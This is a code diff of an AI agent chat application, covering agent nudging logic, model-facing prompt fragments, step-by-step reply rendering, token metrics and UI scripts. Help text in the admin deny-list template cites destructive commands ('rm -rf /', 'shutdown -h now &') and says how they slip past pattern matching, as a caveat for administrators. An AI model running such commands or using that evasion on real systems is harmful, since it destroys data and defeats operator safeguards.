second, short completion, so it has to happen # here rather than in the synchronous persist step below. Best-effort: @@ -959,6 +1019,11 @@ def _gave_up(generation, why: str) -> None: "error": f"Stopped {why}. Ask again to carry on from here.", } ) + # Its own step. This event is appended outside the round loop, so without a + # mark it would fall into the open tail -- where the live view has no tools + # slot -- and the one line saying why the reply stopped would be the one + # line nobody saw. + generation.close_step() generation.touch() @@ -1009,6 +1074,9 @@ def _wrap_up(generation, why: str, payload: dict, *, name: str = "budget") -> tu ), } ) + # Same reason as `_gave_up`: appended outside the round loop, so it needs a + # mark of its own or it lands in the step still being written. + generation.close_step() generation.touch() return [], {key: value for key, value in payload.items() if key != "tools"} @@ -1026,10 +1094,24 @@ def _nudge( A model that stops with work outstanding is the failure `core.keep_working` is worded against, and prompting is the cheaper half of the fix. This is the - other half, and it only fires where there is something objective to check - against: an open task on the chat's own plan. Without a plan there is - nothing to be wrong about, so nothing happens -- a model that has genuinely - finished must be able to say so and be believed. + other half, and it fires only where there is something objective to check + against. There are two such things, and they are checked in that order: + + 1. **An open task on the chat's own plan.** The strongest signal there is -- + the model wrote the list itself and has not crossed the item off. + 2. **A long reply that touched nothing.** No plan, no tool call anywhere in + the reply, and more prose than a short answer. That is the shape of a + model deliberating itself to a standstill: announcing the call, + reconsidering, announcing it again, and ending the turn having done + nothing -- because a round with no tool calls is a model saying it is + finished, and it is taken at its word. `core.commit` is the prompt half. + + The second is deliberately narrow. `generation.tool_events` being empty is + what keeps it away from the common case: a reply that did some work and then + said it was done has made a claim about work anybody can see, and arguing + with that is how a model gets nagged for finishing. And `NUDGE_MIN_CHARS` + keeps it away from the other one -- somebody asking a question in an agent + chat and getting a two-line answer is not a stalled agent. Every "no" is a plain None: @@ -1037,7 +1119,7 @@ def _nudge( * this is not an agent chat, or is one in Plan mode -- `plan_submit` ends the turn deliberately and nudging past it would be arguing with the whole point of the mode; - * there is no plan, or every task on it is done or dropped; + * neither signal is present; * there is no round left to carry on in, or it has already been asked MAX_NUDGES times in a row. @@ -1049,6 +1131,8 @@ def _nudge( return None if agent.mode == agent_policy.MODE_PLAN or generation.plan_final: return None + if round_number >= budget: + return None plan = generation.plan if generation.plan is not None else agent.plan open_tasks = [ @@ -1057,12 +1141,23 @@ def _nudge( for task in phase.get("tasks", []) if task.get("status") not in ("done", "dropped") ] - if not open_tasks: - return None - if round_number >= budget: + stalled = ( + not open_tasks + and not generation.tool_events + and len(generation.text) >= NUDGE_MIN_CHARS + ) + if not open_tasks and not stalled: return None - if generation.nudges >= MAX_NUDGES: + # Asked twice about an open plan task, once about having touched nothing. + # The plan is a list the model wrote and has not crossed off, which is still + # true after being asked; "you have not used a tool" is answered by the very + # next reply, and that reply is invited to say in one line that the work is + # finished. Asking again would be refusing the answer we asked for. Note the + # text is cumulative across rounds, so without this the signal stays true + # for the rest of the reply however the model responds. + ceiling = MAX_NUDGES if open_tasks else 1 + if generation.nudges >= ceiling: generation.tool_events.append( { "name": "plan_update", @@ -1071,7 +1166,9 @@ def _nudge( "error": ( f"Stopped with {len(open_tasks)} task(s) still open on the " f"plan, after being asked twice to carry on." - ), + ) + if open_tasks + else "Ended without using any tool, after being asked to carry on.", "results": [], } ) @@ -1079,11 +1176,22 @@ def _nudge( return None generation.nudges += 1 - remaining = "\n".join(f"- {task['id']} {task['text']}" for task in open_tasks[:8]) # A user turn, and phrased as the reader would phrase it. Everything else # this codebase injects is quoted and attributed because it came out of a # file or a machine; this is the application speaking on the reader's behalf # about the reader's own plan, which is the one case where that is honest. + if not open_tasks: + return { + "role": "user", + "content": ( + "That reply did not use any tool, so nothing has actually been done " + "yet. If you were about to run or read something, do it now. If the " + "work really is finished, or you need something from me before you " + "can go on, say which in one line." + ), + } + + remaining = "\n".join(f"- {task['id']} {task['text']}" for task in open_tasks[:8]) return { "role": "user", "content": ( @@ -1110,6 +1218,18 @@ def _too_big(generation: Generation) -> bool: return generation.prompt_estimate > generation.context_limit * CONTEXT_HEADROOM +def _mark_counted(generation: Generation) -> None: + """Record that everything written so far is covered by a reported count. + + A no-op until some usage block has arrived, because until then there is + nothing to interpolate from and `metrics.from_generation` falls back to + estimating the lot. After that it is what makes a reported figure be shown + verbatim rather than with an estimate added on top of it. + """ + if generation.reported_usage: + generation.counted_chars = len(generation.text) + len(generation.thinking) + + def _written(generation: Generation) -> int: """How much this reply has written so far, in tokens, reported or estimated. @@ -1693,6 +1813,11 @@ def _persist(generation: Generation, title: str, elapsed: float) -> None: message.reasoning = generation.thinking message.reasoning_ms = generation.reasoning_ms message.tool_calls_json = generation.tool_events + # Written together with the three stores it indexes, by the one + # writer, so a row can never carry marks that describe a different + # reply's text. Regeneration reuses the `Message` row and overwrites + # all four for the same reason. + message.steps_json = generation.steps message.plan_json = generation.plan or {} if generation.canvas.get("tabs"): # A union with whatever the row says *now*, not an overwrite: diff --git a/src/lembas/services/harness.py b/src/lembas/services/harness.py index 953f090..8021b79 100644 --- a/src/lembas/services/harness.py +++ b/src/lembas/services/harness.py @@ -70,7 +70,14 @@ log = logging.getLogger(__name__) # crosses, and crossing it is silent: `assemble` cuts the tail, and the tail is # the project's own AGENTS.md. `tests/test_harness.py` pins a margin now as well # as a fit, so the room is a fact rather than a hope. -MAX_HARNESS_CHARS = 20000 +# +# 24,000 now, because that margin did its job: adding `core.commit` and +# `tool.agent_edits` took the headroom under 20% and the test said so rather +# than the AGENTS.md quietly losing its last paragraph on somebody's install. +# Raising the ceiling costs nothing by itself -- it is a limit, not a size, and +# the assembled block is the same length either way. What it buys is that the +# margin keeps meaning what it says. +MAX_HARNESS_CHARS = 24000 # How much of the ceiling the shipped fragments may occupy at full budget. The # rest is headroom for an administrator's own wording, which is the thing this diff --git a/src/lembas/services/markdown.py b/src/lembas/services/markdown.py index 0afa338..30e2e9b 100644 --- a/src/lembas/services/markdown.py +++ b/src/lembas/services/markdown.py @@ -157,6 +157,43 @@ def render_markdown(text: str) -> str: ) +# A fence opener: three or more backticks or tildes at the start of a line, +# optionally indented, with whatever info string follows. Deliberately shallow -- +# it does not know about lists, block quotes or indented code, and it does not +# have to. See `open_fence`. +_FENCE = re.compile(r"^ {0,3}(`{3,}|~{3,})[ \t]*(.*)$") + + +def open_fence(text: str) -> tuple[str, str]: + """The marker and info string of a fence left open, or ``("", "")``. + + A reply is rendered in pieces now -- one per step, split where the model + stopped to call a tool -- and a fence opened in one piece and never closed + would run to the end of that piece and then leave every later fence in the + reply paired up wrongly. `services/steps.py` uses this to close such a fence + at the end of its own segment and reopen it at the start of the next. + + Deliberately not a second Markdown parser. It has to be right about one + thing: a model that opened a fence and then called a tool. Where it is + unsure it says "no fence", which renders exactly as the whole-text version + always did. + """ + marker = "" + info = "" + for line in text.splitlines(): + found = _FENCE.match(line) + if found is None: + continue + fence, rest = found.group(1), found.group(2).strip() + if not marker: + marker, info = fence, rest + elif fence[0] == marker[0] and len(fence) >= len(marker) and not rest: + # A closer is the same character, at least as long, and carries no + # info string. Anything else inside an open fence is just text. + marker, info = "", "" + return marker, info + + # A mention is `@` followed by a run of non-space, claimed only at the start of # the text or after whitespace. That last part is the whole rule: without it # every email address in a message becomes a highlighted file reference, which diff --git a/src/lembas/services/metrics.py b/src/lembas/services/metrics.py index b371f12..f829435 100644 --- a/src/lembas/services/metrics.py +++ b/src/lembas/services/metrics.py @@ -75,17 +75,39 @@ class Metrics: def from_generation(generation: Any) -> Metrics: """Metrics for a reply still being written. - Usage arrives in a single chunk at the very end, so mid-stream there is - nothing to report and everything is estimated. The counts stop being - estimates the moment that chunk lands, which is usually a beat before the - bubble is replaced. + A reported count is never second-guessed. Where the endpoint has said a + number, that number is what is shown; our own estimate is four characters to + a token and is wrong enough on code and CJK that overriding an exact figure + with it would be a downgrade dressed as a fix. + + What the estimate is for is the gap *between* reported counts. Usage arrives + once per round, so on a forty-round agent reply the counts used to stand + still for minutes at a time while text streamed underneath them -- reported + was non-zero from round one onwards, so the `or` below never reached its + fallback again. `_since_counted` closes that gap: it is what has been written + since the last usage chunk, and it is zero at the moment one lands. So the + figures climb while a round runs and land exactly on the reported total when + it ends, which is the same property in both directions. + + The prompt is deliberately not treated that way. It does not grow within a + round -- it is the request that was sent -- so there is nothing to interpolate + and nothing that would freeze. """ import time - completion = generation.completion_tokens or tokens.estimate( + # Zero the instant a usage chunk lands, so a reported figure is passed + # through untouched and only the interval between them is filled in. + extra = _since_counted(generation) + + completion = (generation.completion_tokens + extra) or tokens.estimate( generation.text + generation.thinking ) - prompt = generation.prompt_tokens or generation.prompt_estimate + # `prompt_estimate_total`, not `prompt_estimate`. The two answer different + # questions -- every round's prompt against the latest round's -- and this + # chip is what the reply cost, which is the sum. Reading the latest one here + # while the end-of-reply path stored the total made the number visibly jump + # at the `done` frame on any reply that called a tool. + prompt = generation.prompt_tokens or generation.prompt_estimate_total elapsed = generation.elapsed_ms or ( int((time.monotonic() - generation.started_at) * 1000) if generation.started_at else 0 ) @@ -94,14 +116,34 @@ def from_generation(generation: Any) -> Metrics: prompt_tokens=prompt, completion_tokens=completion, total_tokens=prompt + completion, - context_tokens=generation.context_tokens or (prompt + completion), + context_tokens=(generation.context_tokens + extra) + or (generation.prompt_estimate + completion), context_limit=generation.context_limit, - estimated=not (generation.prompt_tokens and generation.completion_tokens), + # One recorded fact rather than an inference from two counts. Inferring + # it read `False` once the end-of-reply fallback had filled both fields + # in, so a reply estimated from beginning to end showed `~` throughout + # and then dropped it at the moment it was stored -- the tilde vanishing + # exactly where it was most needed. + estimated=not generation.reported_usage, elapsed_ms=elapsed, rounds=max(1, generation.rounds), ) +def _since_counted(generation: Any) -> int: + """Tokens written since the last usage chunk, estimated. + + Zero before any usage has been reported -- the `or` fallbacks in + `from_generation` cover that case whole -- and zero again the moment each + chunk lands, because `counted_chars` is stamped there. In between it is the + only thing that moves. + """ + if not generation.reported_usage: + return 0 + written = len(generation.text) + len(generation.thinking) + return tokens.estimate_chars(max(0, written - generation.counted_chars)) + + def from_message(usage_json: dict[str, Any] | None) -> Metrics: """Metrics for a finished reply, read back off the row.""" stored = usage_json or {} diff --git a/src/lembas/services/prompts.py b/src/lembas/services/prompts.py index fba9eaa..faf2447 100644 --- a/src/lembas/services/prompts.py +++ b/src/lembas/services/prompts.py @@ -718,7 +718,11 @@ BUILTIN: tuple[Fragment, ...] = ( "removed assertion or a skipped test buys a green run and keeps the bug.\n" " - Say what you did and what you checked, including what you could not " "check. If something is still broken, say so — being told a job is " - "finished when it is not is worse than being told it is hard." + "finished when it is not is worse than being told it is hard.\n" + " - Done means run. Before you say the work is finished, run the thing " + "one more time — the tests, the build, the script — and say what came back. " + "Reading your own change and finding it correct is not the same evidence, " + "and if you could not run it, say that instead of implying you did." ), ), Fragment( @@ -769,6 +773,28 @@ BUILTIN: tuple[Fragment, ...] = ( "reply ends." ), ), + Fragment( + key="core.commit", + label="Deciding and then doing", + group=GROUP_CORE, + order=114, + families=("agent",), + hint="An agent chat only, and the counterweight to the fragment above " + "it. `core.narrate` tells a model to work out loud and nothing told it " + "to stop, which a smaller model reads as licence to deliberate " + "indefinitely: it announces the call, reconsiders, announces it again, " + "and the reply ends having done nothing, because a round that produces " + "no tool call is a model saying it has finished. Narration is worth " + "having and this is what bounds it.", + default=( + "When you have decided what to do, do it in the same turn — make the call. " + "Do not restate the decision, re-check what you have already checked, or " + "write another line about what you are about to do. If you have written the " + "same intention twice, that is the signal that you should already have " + "acted. Thinking on the page is fine; finishing a reply having only thought " + "is not, because a turn that calls nothing is a turn that says you are done." + ), + ), Fragment( key="core.interjection", label="Being interrupted", @@ -1101,16 +1127,47 @@ BUILTIN: tuple[Fragment, ...] = ( "a new turn -- and that that turn is a machine event, not the person, " "the same distinction core.interjection draws for a typed message.", default=( - "- A command that would take a while — an install, a build, a download — " - "can run in the background: pass `background: true`, or just let it run and " - "it is kept going rather than killed when it reaches its timeout. It keeps " - "running after this reply. Read it with job_output, stop it with job_stop.\n" + "- A command that would take a while — an install, a build, a download, a " + "long test run — can run in the background: pass `background: true`, or " + "just let it run and it is kept going rather than killed when it reaches " + "its timeout. It keeps running after this reply. Read it with job_output, " + "list what is running with job_list, stop one with job_stop.\n" + "- Check a job with job_output rather than running the command again. A " + "second copy of a build or an install competing with the first is how both " + "fail, and the output you want is already being collected. Get on with " + "something else in the meantime — that is what backgrounding it was for.\n" "- When a background job finishes you are told in a new turn that begins " "\"A background job you started has finished\". That is a machine event " "reporting a result, not the person you are talking to — read it as you " "would the output of any command, and carry on from it." ), ), + Fragment( + key="tool.agent_edits", + label="Changing a file", + group=GROUP_TOOLS, + order=252, + families=("agent",), + hint="An agent chat only. All of this is in the `file_edit` " + "description, which is schema and cannot be edited -- and it is still " + "the tool models get wrong most often. The description is read once " + "alongside twelve others; this is guidance, and it says the two things " + "the description cannot: what to do when a patch is refused, and that " + "rewriting the file instead is the worse answer rather than the " + "fallback.", + default=( + "- Changing part of a file: read it with file_read first — file_edit " + "refuses otherwise, and the refusal is about this same reply — then send a " + "patch with about three unchanged lines either side of each change. The " + "line numbers in a hunk header may be approximate; the context lines may " + "not, and they are what the change is found by.\n" + "- If a patch is refused you are shown the file as it actually is around " + "where the hunk expected to land. Write the next patch from that, not from " + "memory. Sending the same patch again will fail the same way, and falling " + "back to file_write is worse than either: it replaces the whole file, so " + "everything you did not happen to recall is gone." + ), + ), Fragment( key="tool.project_files", label="What is in the project directory", diff --git a/src/lembas/services/steps.py b/src/lembas/services/steps.py new file mode 100644 index 0000000..26a43b1 --- /dev/null +++ b/src/lembas/services/steps.py @@ -0,0 +1,205 @@ +"""A reply as the sequence of steps it actually was. + +The three stores a reply writes into -- text, reasoning and tool events -- are +each append-only and each correct. What none of them records is *interleaving*: +where round three's thinking sat relative to round three's command and to the +sentence that came after it. So a bubble was rendered as three zones, all the +thinking, then all the tools, then all the prose, which reads fine on a two-round +answer and is unusable on a forty-round one. + +The fix is a table of contents rather than a fourth copy of anything. A **mark** +is written when a round's contribution ends, holding the cumulative length of +each store at that moment; the text between two marks is one step's prose, and so +on. Nothing is duplicated, so `build_messages`, compaction, titling and the copy +button all still see `message.content` as the single string it always was. + +**No marks means the old layout.** Every reply written before this existed reads +back an empty list, and `_build` answers that with thinking, then tools, then +text -- exactly what those bubbles have always shown. There is no version flag +and no branch in the template. +""" + +from __future__ import annotations + +from dataclasses import dataclass, field +from typing import Any + +from lembas.services.markdown import open_fence, render_markdown + +KIND_THINKING = "thinking" +KIND_TEXT = "text" +KIND_TOOLS = "tools" + + +@dataclass(frozen=True) +class Step: + """One thing that happened, in the order it happened. + + `index` is the position of the mark this came from, and the trailing step -- + the one still being written -- takes the index one past the last mark. It is + what every DOM id in the transcript is derived from, which is what lets an + open block survive both a stream frame and the `done` frame that replaces the + whole bubble: the marks are append-only, so index N always means the same + step, live and afterwards alike. + """ + + index: int + kind: str + open: bool = False + text: str = "" + html: str = "" + events: tuple[dict, ...] = field(default_factory=tuple) + + +def for_message(message: Any) -> list[Step]: + """Every step of a finished reply, read off the row. + + A Jinja global (see `web/templating.py`) for the reason `tool_label` is: the + bubble is rendered from four different handlers, and a fifth thing each of + them had to remember to pass is a fifth thing one of them would forget. + """ + return _build( + text=message.content or "", + thinking=(message.reasoning or "") if not message.error else "", + events=list(message.tool_calls_json or []), + marks=list(getattr(message, "steps_json", None) or []), + ) + + +def closed_from(generation: Any, since: int) -> list[Step]: + """The finished steps of a running reply, from mark `since` onwards. + + Only the new ones, because `_follow` keeps what it has already rendered. A + closed step never changes again -- that is what closing one means -- so the + whole prefix does not have to be re-rendered twelve times a second, which is + what the tool block used to cost on a long reply. + """ + return _build( + text=generation.text, + thinking=generation.thinking, + events=list(generation.tool_events), + marks=list(generation.steps), + since=since, + include_open=False, + ) + + +def tail(generation: Any) -> tuple[str, str]: + """What is being written right now: `(thinking, text)` past the last mark. + + The text carries a fence reopener where one is needed, so a code block + started before the last tool call goes on rendering as a code block instead + of the prose underneath it briefly becoming one. + """ + marks = list(generation.steps) + last = marks[-1] if marks else {} + thinking = generation.thinking[_at(last, "thinking_to") :] + text = generation.text[_at(last, "text_to") :] + carry = _carry_before(generation.text, marks) + return thinking, (f"{carry}\n{text}" if carry and text else text) + + +def _at(mark: dict, key: str) -> int: + value = mark.get(key, 0) + return value if isinstance(value, int) and value > 0 else 0 + + +def _build( + *, + text: str, + thinking: str, + events: list[dict], + marks: list[dict], + since: int = 0, + include_open: bool = True, +) -> list[Step]: + """The shared walk. + + Every offset is clamped and nothing here raises. A `steps_json` that + disagrees with the three stores -- a row half-written when the process died, + a hand-edited one -- has to degrade to a slightly odd order, never to a + transcript that will not render at all. + """ + steps: list[Step] = [] + + if not marks: + # The compatibility layout, and the layout of any reply that called + # nothing: for that one the two orders are the same list, because there + # are no tool blocks to sit between the prose. + if thinking: + steps.append(Step(index=0, kind=KIND_THINKING, text=thinking)) + if events: + steps.append(Step(index=0, kind=KIND_TOOLS, events=tuple(events))) + if text: + steps.append( + Step(index=0, kind=KIND_TEXT, open=include_open, html=render_markdown(text)) + ) + return steps + + thought_from = 0 + text_from = 0 + tools_from = 0 + carry = "" + + for index, mark in enumerate(marks): + thought_to = min(max(_at(mark, "thinking_to"), thought_from), len(thinking)) + text_to = min(max(_at(mark, "text_to"), text_from), len(text)) + tools_to = min(max(_at(mark, "tools_to"), tools_from), len(events)) + + thought = thinking[thought_from:thought_to] + said = text[text_from:text_to] + ran = events[tools_from:tools_to] + + # Computed for every step even when this one is not being returned: + # `closed_from` renders a suffix, and whether a fence is open depends on + # everything before it. + source = f"{carry}\n{said}" if carry and said else said + marker, info = open_fence(source) + if marker: + source = f"{source}\n{marker}" + + if index >= since: + # Thinking, then prose, then tools -- the order a model emits them. + if thought: + steps.append(Step(index=index, kind=KIND_THINKING, text=thought)) + if said: + steps.append(Step(index=index, kind=KIND_TEXT, html=render_markdown(source))) + if ran: + steps.append(Step(index=index, kind=KIND_TOOLS, events=tuple(ran))) + + carry = f"{marker}{info}" if marker else "" + thought_from, text_from, tools_from = thought_to, text_to, tools_to + + if not include_open: + return steps + + # Everything past the last mark. Implicit rather than written, in both the + # live path and the stored one -- one rule instead of two that could drift. + index = len(marks) + if trailing_thought := thinking[thought_from:]: + steps.append(Step(index=index, kind=KIND_THINKING, text=trailing_thought)) + if trailing_text := text[text_from:]: + source = f"{carry}\n{trailing_text}" if carry else trailing_text + steps.append(Step(index=index, kind=KIND_TEXT, open=True, html=render_markdown(source))) + if trailing_events := events[tools_from:]: + steps.append(Step(index=index, kind=KIND_TOOLS, events=tuple(trailing_events))) + + return steps + + +def _carry_before(text: str, marks: list[dict]) -> str: + """The fence still open when the last mark was written, if any.""" + if not marks: + return "" + carry = "" + start = 0 + for mark in marks: + end = min(max(_at(mark, "text_to"), start), len(text)) + source = f"{carry}\n{text[start:end]}" if carry else text[start:end] + marker, info = open_fence(source) + carry = f"{marker}{info}" if marker else "" + start = end + return carry + + +__all__ = ["KIND_TEXT", "KIND_THINKING", "KIND_TOOLS", "Step", "closed_from", "for_message", "tail"] diff --git a/src/lembas/services/tokens.py b/src/lembas/services/tokens.py index 6e60342..4707e8c 100644 --- a/src/lembas/services/tokens.py +++ b/src/lembas/services/tokens.py @@ -28,6 +28,18 @@ def estimate(text: str) -> int: return max(1, round(len(text) / CHARS_PER_TOKEN)) +def estimate_chars(count: int) -> int: + """The same conversion, for a length somebody has already measured. + + `estimate` floors at one token for any non-empty string, which is right for + a piece of text and wrong for a difference between two lengths: a reply that + had grown by nothing would report a token. Zero means zero here. + """ + if count <= 0: + return 0 + return round(count / CHARS_PER_TOKEN) + + def estimate_content(content: Any) -> int: """A message's content, whether it is a plain string or typed parts. diff --git a/src/lembas/web/static/css/chat.css b/src/lembas/web/static/css/chat.css index 3e1d6e1..f0972f2 100644 --- a/src/lembas/web/static/css/chat.css +++ b/src/lembas/web/static/css/chat.css @@ -952,6 +952,90 @@ .composer__context select[name="agent_mode"] { flex: none; } .composer__dir-path { overflow: hidden; text-overflow: ellipsis; white-space: nowrap; } +/* --- Background jobs ------------------------------------------------------- + A chip in the composer row saying how many commands are still running out + there, and a panel behind it. `flex: none` for the reason the mode select is: + this is a control being read, and the row's one shrinkable child is + `.composer__context` itself. */ +.composer__jobs { flex: none; display: flex; align-items: center; } +.composer__chip--jobs { + gap: var(--sp-1); + color: var(--accent); + font-variant-numeric: tabular-nums; +} +/* Something is still happening on a machine nobody is looking at, which is the + whole reason this exists. Slow, because it sits beside the composer for as + long as a build takes and a fast pulse there is a nuisance rather than a + signal. + + No reduced-motion guard here, and not from carelessness: this file is pinned + to contain no media queries at all -- the test matches the string, comments + included -- and `dot-pulse` and `caret` above set the same precedent. + Honouring that preference belongs in one rule covering every animation, in + app.css, rather than in a third copy of the exception. */ +.composer__chip--jobs .icon { animation: jobs-pulse 2.4s ease-in-out infinite; } +@keyframes jobs-pulse { 50% { opacity: 0.35; } } + +.picker__menu--jobs { width: min(34rem, 92vw); } + +.jobs__row { padding: var(--sp-2) 0; border-bottom: 1px solid var(--border); } +.jobs__row:last-child { border-bottom: 0; } +.jobs__head { display: flex; align-items: center; gap: var(--sp-2); } + +.jobs__dot { + flex: none; + width: 0.5rem; + height: 0.5rem; + border-radius: var(--radius-full); + background: var(--ink-muted); +} +.jobs__dot--running { background: var(--accent); } +.jobs__dot--killed { background: var(--warning); } +.jobs__dot--lost { background: var(--danger); } + +/* The command is the button: the row is wide, the affordance should be too. + `min-width: 0` or the flex item will not shrink below its content and the + Stop button is what falls off -- the same rule as the composer row itself. */ +.jobs__command { + flex: 1 1 auto; + min-width: 0; + text-align: left; + background: none; + border: 0; + padding: 0; + color: inherit; + cursor: pointer; + font: inherit; +} +.jobs__command code { + display: block; + overflow: hidden; + text-overflow: ellipsis; + white-space: nowrap; + font-size: var(--text-xs); +} +.jobs__stop { flex: none; } + +.jobs__meta { + margin: var(--sp-1) 0 0; + font-size: var(--text-xs); + color: var(--ink-muted); +} +.jobs__error { margin: var(--sp-2) 0 0; font-size: var(--text-xs); color: var(--danger); } + +.jobs__log { + margin: var(--sp-2) 0 0; + max-height: 16rem; + overflow: auto; + padding: var(--sp-2); + border-radius: var(--radius-sm); + background: var(--bg-sunken); + font-family: var(--font-mono); + font-size: var(--text-xs); + white-space: pre-wrap; + word-break: break-word; +} + .composer__hint { margin: var(--sp-2) 0 0; font-size: var(--text-xs); diff --git a/src/lembas/web/static/js/app.js b/src/lembas/web/static/js/app.js index 55da89b..a600627 100644 --- a/src/lembas/web/static/js/app.js +++ b/src/lembas/web/static/js/app.js @@ -109,14 +109,55 @@ return el.scrollHeight - el.scrollTop - el.clientHeight < STICK_THRESHOLD; } + /* Whether the view is following the reply. Distance to the bottom used to be + the whole test, and it very nearly is -- but somebody near the bottom who + opens a tool block is *reading*, and the next frame eighty milliseconds + later dragged them straight back down again. At twelve frames a second that + reads as a block that will not open at all. + + So opening one turns following off, and returning to the bottom turns it + back on. `stick` is the gate; `isNearBottom` is what maintains it. */ + var stick = true; + /* Where scrollThread last put it, so a scroll event can be told apart from a + scroll the reader did. Without this the programmatic scroll re-arms `stick` + on its own and nothing ever unsticks. */ + var placed = -1; + function scrollThread(force) { var thread = document.getElementById("thread-scroll"); if (!thread) return; - if (force || isNearBottom(thread)) { + if (force) stick = true; + if (stick) { thread.scrollTop = thread.scrollHeight; + placed = thread.scrollTop; } } + document.addEventListener( + "scroll", + function (event) { + var thread = event.target; + if (!thread || thread.id !== "thread-scroll") return; + if (thread.scrollTop === placed) return; + stick = isNearBottom(thread); + }, + true + ); + + /* `toggle` does not bubble, so this has to be registered in the CAPTURE phase. + Without the third argument the listener is never called and the whole thing + is silently dead in every browser -- the same shape of failure as a trigger + bound where the event does not go. There is a test on it. */ + document.addEventListener( + "toggle", + function (event) { + var el = event.target; + if (!el || el.tagName !== "DETAILS" || !el.open) return; + if (el.closest && el.closest("#thread-scroll")) stick = false; + }, + true + ); + /* --- Attachments ------------------------------------------------------- Files are uploaded one at a time as soon as they are chosen, dropped or pasted, rather than all at once when the message is sent. The chip (or the @@ -711,8 +752,15 @@ scrollThread(false); }); - /* Tokens arriving over SSE are appended outside the normal swap cycle. */ - document.body.addEventListener("htmx:sseMessage", function () { + /* Tokens arriving over SSE are appended outside the normal swap cycle. + + Narrowed to frames that land in the thread. `metrics`, `status`, `ask` and + `canvas` all arrive on this event too, so the unconditional version fired + up to seven times per version bump -- most of them for content that changes + no height at all. */ + document.body.addEventListener("htmx:sseMessage", function (event) { + var target = event.target; + if (target && target.closest && !target.closest("#thread-scroll")) return; scrollThread(false); }); })(); diff --git a/src/lembas/web/static/js/composer.js b/src/lembas/web/static/js/composer.js index 9055b64..d26cab5 100644 --- a/src/lembas/web/static/js/composer.js +++ b/src/lembas/web/static/js/composer.js @@ -461,20 +461,11 @@ !event.target.closest("[data-composer-input]")) hide(); }); - /* Opening the menu from a button, for anyone who would rather press than - type. Inserts the character and lets the normal path take over. */ - document.addEventListener("click", function (event) { - var button = event.target.closest("[data-mention-open]"); - if (!button) return; - event.preventDefault(); - var input = composer(); - if (!input) return; - input.focus(); - var caret = input.selectionStart; - var lead = caret && !/\s/.test(input.value[caret - 1]) ? " @" : "@"; - input.setRangeText(lead, caret, caret, "end"); - refresh(); - }); + /* There was a `[data-mention-open]` handler here, for a button in the scope + menu that typed an `@` on your behalf. Both are gone: the `@` key does it, + and a menu you open in order to insert one character is a longer way round + than the character. Nothing else in the file knew about it -- the token is + recognised on `input`, wherever the `@` came from. */ window.lembas = window.lembas || {}; window.lembas.closeComposerMenu = hide; diff --git a/src/lembas/web/static/js/steps.js b/src/lembas/web/static/js/steps.js new file mode 100644 index 0000000..7072e36 --- /dev/null +++ b/src/lembas/web/static/js/steps.js @@ -0,0 +1,86 @@ +/* + Keeping an opened block open while the reply is still being written. + + The steps container is swapped with innerHTML every time a round closes, and + the `done` frame replaces the whole bubble at the end. Both tear down every +
inside and build new ones, so anything the reader had expanded shut + itself again -- which, at up to twelve frames a second, made a tool block + impossible to open at all rather than merely annoying to. + + The fix is to write down which are open before the swap and put them back + after. It works because the ids are stable: `tool-{message}-{step}-{n}` and + `think-{message}-{step}` are built from the mark index, the marks are + append-only, and the finished bubble emits the same ids the live one did. See + services/steps.py. + + Not `hx-preserve`: that keeps a node and its contents, and these nodes have to + update. Not a CSS checkbox either -- the input would live inside the container + being replaced, so it would be destroyed with everything else. +*/ +(function () { + "use strict"; + + /* Keyed by container id, so two replies streaming into one page cannot read + each other's state. */ + var open = {}; + + function remember(box) { + var ids = []; + box.querySelectorAll("details[id][open]").forEach(function (details) { + ids.push(details.id); + }); + open[box.id || "steps"] = ids; + } + + function restore(box) { + (open[box.id || "steps"] || []).forEach(function (id) { + /* CSS.escape, never concatenation into a selector: an id is built from a + message id and two integers today, but a selector assembled by hand is + how that stops being true safely. */ + var found = box.querySelector("details[id='" + cssEscape(id) + "']"); + if (found) found.open = true; + }); + } + + function cssEscape(value) { + return window.CSS && window.CSS.escape ? window.CSS.escape(value) : value; + } + + function container(target) { + if (!target || !target.closest) return null; + return target.closest("[data-steps]"); + } + + /* Cancellable: the SSE extension reads what listeners return to decide + whether to swap at all. So nothing here may cancel the event -- doing so + would freeze the transcript with no error anywhere. There is a test on it, + which matches the source, comments included. */ + document.body.addEventListener("htmx:sseBeforeMessage", function (event) { + var box = container(event.target); + if (box) remember(box); + }); + + document.body.addEventListener("htmx:sseMessage", function (event) { + var box = container(event.target); + if (box) restore(box); + }); + + /* The `done` frame swaps the whole
with outerHTML, so the element + that comes back is a different one carrying the same id -- the finished + bubble's container repeats both the id and the marker for exactly this + reason. Before the swap the old box is still reachable under the target; + after it, the safe move is to look again across the page, because what + `afterSwap` hands back for an outerHTML swap is not reliably the new node. + Restoring every container is harmless: what is remembered is keyed on the + container's own id. */ + document.body.addEventListener("htmx:beforeSwap", function (event) { + var box = event.target && event.target.querySelector + ? event.target.querySelector("[data-steps]") + : null; + if (box) remember(box); + }); + + document.body.addEventListener("htmx:afterSwap", function () { + document.querySelectorAll("[data-steps]").forEach(restore); + }); +})(); diff --git a/src/lembas/web/templates/admin/agents.html b/src/lembas/web/templates/admin/agents.html index 2079401..c9c4600 100644 --- a/src/lembas/web/templates/admin/agents.html +++ b/src/lembas/web/templates/admin/agents.html @@ -96,7 +96,12 @@ Checked before everything, including Auto. Treat it as a guard against an accident rather than against an adversary: rm -rf /* here does not stop /bin/rm -rf /, and - nothing pattern-shaped could. + nothing pattern-shaped could. The same limit as above applies, and it + cuts the other way here: a command line that runs more than one thing + matches none of these, so in Auto + shutdown -h now asks and shutdown -h now & + runs. Anything that must never happen belongs on the far side, in that + account’s own permissions.

diff --git a/src/lembas/web/templates/chat/_composer.html b/src/lembas/web/templates/chat/_composer.html index 18736a1..c535df8 100644 --- a/src/lembas/web/templates/chat/_composer.html +++ b/src/lembas/web/templates/chat/_composer.html @@ -153,8 +153,15 @@ This slot used to be an `@` button that inserted the character and got out of the way -- which the `@` key already does, from the - keyboard, without a button. Typing `@` is untouched; composer.js - recognises the token on its own and knows nothing about this menu. + keyboard, without a button. It then kept that as a row inside the + menu, which was the same redundancy one level down: a menu you open + to press a button that types one character. Both are gone. Typing + `@` is untouched; composer.js recognises the token on its own and + knows nothing about this menu. + + With the row gone there is nothing to show on a chat with no scope, + so the guard is `has_scope` alone rather than `has_scope or can + upload`. An empty menu is worse than no button. The rows are `